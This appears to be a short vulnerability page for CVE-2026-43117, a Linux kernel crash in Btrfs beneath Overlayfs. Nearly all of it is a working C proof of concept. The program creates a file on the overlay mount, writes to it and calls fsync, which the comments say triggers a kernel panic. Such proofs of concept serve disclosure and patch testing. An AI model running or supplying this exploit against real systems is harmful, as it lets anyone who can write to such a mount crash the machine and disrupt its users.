CVE-2026-43117 Linux内核Btrfs文件系统崩溃漏洞

// PoC for CVE-2026-43117 // Trigger requires Btrfs as underlying fs with Overlayfs on top #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> int main(int argc, char *argv[]) { int fd; const char *file_path = "/mnt/overlay/test_file"; // Path on overlayfs printf("[+] Attempting to trigger CVE-2026-43117...\n"); // Open or create a file on the Overlayfs mount point fd = open(file_path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] Open failed"); return 1; } // Write some data to ensure metadata is generated if (write(fd, "test", 4) < 0) { perror("[-] Write failed"); close(fd); return 1; } printf("[*] Calling fsync on file...\n"); // The fsync call triggers btrfs_sync_file -> tracepoint -> dentry->d_sb crash if (fsync(fd) < 0) { // fsync might fail or return error, but the crash happens inside kernel perror("[-] Fsync failed (check kernel logs for panic)"); } else { printf("[+] Fsync returned (kernel might have panicked)"); } close(fd); return 0; }